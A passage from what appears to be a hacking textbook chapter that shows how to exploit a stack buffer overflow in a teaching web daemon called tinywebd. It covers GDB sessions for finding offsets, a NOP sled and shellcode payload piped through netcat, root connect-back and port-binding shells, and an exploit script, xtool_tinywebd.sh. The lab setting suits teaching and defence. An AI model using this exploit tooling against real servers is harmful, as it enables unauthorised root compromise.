With a realistic target in place, let's jump back over to the attacker's side of the fence. For this kind of attack,
exploit scripts are an essential tool of the trade. Like a set of lock picks in the hands of a professional, exploits open many doors for a hacker. Through careful manipulation of the internal mechanisms, the security can be entirely sidestepped.
In previous chapters, we've written exploit code in C and manually exploited vulnerabilities from the command line. The fine line between an exploit program and an exploit tool is a matter of finalization and reconfigurability. Exploit programs are more like guns than tools. Like a gun, an exploit program has a singular utility and the user interface is as simple as pulling a trigger. Both guns and exploit programs are finalized products that can be used by unskilled people with dangerous results. In contrast, exploit tools usually aren't finished products, nor are they meant for others to use. With an understanding of programming, it's only natural that a hacker would begin to write his own scripts and tools to aid exploitation. These personalized tools automate tedious tasks and facilitate experimentation. Like conventional tools, they can be used for many purposes, extending the skill of the user.
1. tinywebd Exploit Tool
For the tinyweb daemon, we want an exploit tool that allows us to experiment with the vulnerabilities. As in the development of our previous exploits, GDB is used first to figure out the details of the vulnerability, such as offsets. The offset to the return address will be the same as in the original tinyweb.c program, but a daemon program presents added challenges. The daemon call forks the process, running the rest of the program in the child process, while the parent process exits. In the output below, a breakpoint is set after the daemon() call, but the debugger never hits it.
Code View:
reader@hacking:~/booksrc $ gcc -g tinywebd.c
reader@hacking:~/booksrc $ sudo gdb -q ./a.out
warning: not using untrusted file "/home/reader/.gdbinit"
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) list 47
42
43 if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1)
44 fatal("setting socket option SO_REUSEADDR");
45
46 printf("Starting tiny web daemon.\n");
47 if(daemon(1, 1) == -1) // Fork to a background daemon process.
48 fatal("forking to daemon process");
49
50 signal(SIGTERM, handle_shutdown); // Call handle_shutdown when killed.
51 signal(SIGINT, handle_shutdown); // Call handle_shutdown when interrupted.
(gdb) break 50
Breakpoint 1 at 0x8048e84: file tinywebd.c, line 50.
(gdb) run
Starting program: /home/reader/booksrc/a.out
Starting tiny web daemon.
Program exited normally.
(gdb)
When the program is run, it just exits. In order to debug this program, GDB needs to be told to follow the child process, as opposed to following the parent. This is done by setting follow-fork-mode to child. After this change, the debugger will follow execution into the child process, where the breakpoint can be hit.
Code View:
(gdb) set follow-fork-mode child
(gdb) help set follow-fork-mode
Set debugger response to a program call of fork or vfork.
A fork or vfork creates a new process. follow-fork-mode can be:
parent - the original process is debugged after a fork
child - the new process is debugged after a fork
The unfollowed process will continue to run.
By default, the debugger will follow the parent process.
(gdb) run
Starting program: /home/reader/booksrc/a.out
Starting tiny web daemon.
[Switching to process 1051]
Breakpoint 1, main () at tinywebd.c:50
50 signal(SIGTERM, handle_shutdown); // Call handle_shutdown when killed.
(gdb) quit
The program is running. Exit anyway? (y or n) y
reader@hacking:~/booksrc $ ps aux | grep a.out
root 911 0.0 0.0 1636 416 ? Ss 06:04 0:00 /home/reader/booksrc/a.out
reader 1207 0.0 0.0 2880 748 pts/2 R+ 06:13 0:00 grep a.out
reader@hacking:~/booksrc $ sudo kill 911
reader@hacking:~/booksrc $
It's good to know how to debug child processes, but since we need specific stack values, it's much cleaner and easier to attach to a running process. After killing any stray a.out processes, the tinyweb daemon is started back up and then attached to with GDB.
Code View:
reader@hacking:~/booksrc $ ./tinywebd
Starting tiny web daemon..
reader@hacking:~/booksrc $ ps aux | grep tinywebd
root 25830 0.0 0.0 1636 356 ? Ss 20:10 0:00 ./tinywebd
reader 25837 0.0 0.0 2880 748 pts/1 R+ 20:10 0:00 grep tinywebd
reader@hacking:~/booksrc $ gcc -g tinywebd.c
reader@hacking:~/booksrc $ sudo gdb -q—pid=25830 --symbols=./a.out
warning: not using untrusted file "/home/reader/.gdbinit"
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
Attaching to process 25830
/cow/home/reader/booksrc/tinywebd: No such file or directory.
A program is being debugged already. Kill it? (y or n) n
Program not killed.
(gdb) bt
#0 0xb7fe77f2 in ?? ()
#1 0xb7f691e1 in ?? ()
#2 0x08048f87 in main () at tinywebd.c:68
(gdb) list 68
63 if (listen(sockfd, 20) == -1)
64 fatal("listening on socket");
65
66 while(1) { // Accept loop
67 sin_size = sizeof(struct sockaddr_in);
68 new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);
69 if(new_sockfd == -1)
70 fatal("accepting connection");
71
72 handle_connection(new_sockfd, &client_addr, logfd);
(gdb) list handle_connection
77 /* This function handles the connection on the passed socket from the
78 * passed client address and logs to the passed FD. The connection is
79 * processed as a web request, and this function replies over the connected
80 * socket. Finally, the passed socket is closed at the end of the function.
81 */
82 void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd)
{
83 unsigned char *ptr, request[500], resource[500], log_buffer[500];
84 int fd, length;
85
86 length = recv_line(sockfd, request);
(gdb) break 86
Breakpoint 1 at 0x8048fc3: file tinywebd.c, line 86.
(gdb) cont
Continuing.
The execution pauses while the tinyweb daemon waits for a connection. Once again, a connection is made to the webserver using a browser to advance the code execution to the breakpoint.
Code View:
Breakpoint 1, handle_connection (sockfd=5, client_addr_ptr=0xbffff810) at tinywebd.c:86
86 length = recv_line(sockfd, request);
(gdb) bt
#0 handle_connection (sockfd=5, client_addr_ptr=0xbffff810, logfd=3) at tinywebd.c:86
#1 0x08048fb7 in main () at tinywebd.c:72
(gdb) x/x request
0xbffff5c0: 0x080484ec
(gdb) x/16x request + 500
0xbffff7b4: 0xb7fd5ff4 0xb8000ce0 0x00000000 0xbffff848
0xbffff7c4: 0xb7ff9300 0xb7fd5ff4 0xbffff7e0 0xb7f691c0
0xbffff7d4: 0xb7fd5ff4 0xbffff848 0x08048fb7 0x00000005
0xbffff7e4: 0xbffff810 0x00000003 0xbffff838 0x00000004
(gdb) x/x 0xbffff7d4 + 8
0xbffff7dc: 0x08048fb7
(gdb) p /x 0xbffff7dc - 0xbffff5c0
$1 = 0x21c
(gdb) p 0xbffff7dc - 0xbffff5c0
$2 = 540
(gdb) p /x 0xbffff5c0 + 100
$3 = 0xbffff624
(gdb) quit
The program is running. Quit anyway (and detach it)? (y or n) y
Detaching from program: , process 25830
reader@hacking:~/booksrc $
The debugger shows that the request buffer starts at 0xbffff5c0 and the stored return address is at 0xbffff7dc, which means the offset is 540 bytes. The safest place for the shellcode is near the middle of the 500-byte request buffer. In the output below, an exploit buffer is created that sandwiches the shellcode between a NOP sled and the return address repeated 32 times. The 128 bytes of repeated return address keep the shellcode out of unsafe stack memory, which might be overwritten. There are also unsafe bytes near the beginning of the exploit buffer, which will be overwritten during null termination. To keep the shellcode out of this range, a 100-byte NOP sled is put in front of it. This leaves a safe landing zone for the execution pointer, with the shellcode at 0xbffff624. The following output exploits the vulnerability using the loopback shellcode.
Code View:
reader@hacking:~/booksrc $ ./tinywebd
Starting tiny web daemon.
reader@hacking:~/booksrc $ wc -c loopback_shell
83 loopback_shell
reader@hacking:~/booksrc $ echo $((540+4 - (32*4) - 83))
333
reader@hacking:~/booksrc $ nc -l -p 31337 &
[1] 9835
reader@hacking:~/booksrc $ jobs
[1]+ Running nc -l -p 31337 &
reader@hacking:~/booksrc $ (perl -e 'print "\x90"x333'; cat loopback_shell; perl -e
'print "\
x24\xf6\xff\xbf"x32 . "\r\n"') | nc -w 1 -v 127.0.0.1 80
localhost [127.0.0.1] 80 (www) open
reader@hacking:~/booksrc $ fg
nc -l -p 31337
whoami
root
Since the offset to the return address is 540 bytes, 544 bytes are needed to overwrite the address. With the loopback shellcode at 83 bytes and the overwritten return address repeated 32 times, simple arithmetic shows that the NOP sled needs to be 333 bytes to align everything in the exploit buffer properly. netcat is run in listen mode with an ampersand (&) appended to the end, which sends the process to the background. This listens for the connection back from the shellcode and can be resumed later with the command fg (foreground). On the LiveCD, the at (@) symbol in the command prompt will change color if there are background jobs, which can also be listed with the jobs command. When the exploit buffer is piped into netcat, the -w option is used to tell it to time out after one second. Afterward, the backgrounded netcat process that received the connectback shell can be resumed.
All this works fine, but if a shellcode of different size is used, the NOP sled size must be recalculated. All these repetitive steps can be put into a single shell script.
The BASH shell allows for simple control structures. The if statement at the beginning of this script is just for error checking and displaying the usage message. Shell variables are used for the offset and overwrite return address, so they can be easily changed for a different target. The shellcode used for the exploit is passed as a command-line argument, which makes this a useful tool for trying out a variety of shellcodes.
1.1. xtool_tinywebd.sh
#!/bin/sh
# A tool for exploiting tinywebd
if [ -z "$2" ]; then # If argument 2 is blank
echo "Usage: $0 "
exit
fi
OFFSET=540
RETADDR="\x24\xf6\xff\xbf" # At +100 bytes from buffer @ 0xbffff5c0
echo "target IP: $2"
SIZE=`wc -c $1 | cut -f1 -d ' '`
echo "shellcode: $1 ($SIZE bytes)"
ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE))
echo "[NOP ($ALIGNED_SLED_SIZE bytes)] [shellcode ($SIZE bytes)] [ret addr
($((4*32)) bytes)]"
( perl -e "print \"\x90\"x$ALIGNED_SLED_SIZE";
cat $1;
perl -e "print \"$RETADDR\"x32 . \"\r\n\"";) | nc -w 1 -v $2 80
Notice that this script repeats the return address an additional thirty-third time, but it uses 128 bytes (32 x 4) for calculating the sled size. This puts an extra copy of the return address past where the offset dictates. Sometimes different compiler options will move the return address around a little bit, so this makes the exploit more reliable. The output below shows this tool being used to exploit the tinyweb daemon once again, but with the port-binding shellcode.
Code View:
reader@hacking:~/booksrc $ ./tinywebd
Starting tiny web daemon.
reader@hacking:~/booksrc $ ./xtool_tinywebd.sh portbinding_shellcode 127.0.0.1
target IP: 127.0.0.1
shellcode: portbinding_shellcode (92 bytes)
[NOP (324 bytes)] [shellcode (92 bytes)] [ret addr (128 bytes)]
localhost [127.0.0.1] 80 (www) open
reader@hacking:~/booksrc $ nc -vv 127.0.0.1 31337
localhost [127.0.0.1] 31337 (?) open
whoami
root
Now that the attacking side is armed with an exploit script, consider what happens when it's used. If you were the administrator of the server running the tinyweb daemon, what would be the first signs that you were hacked?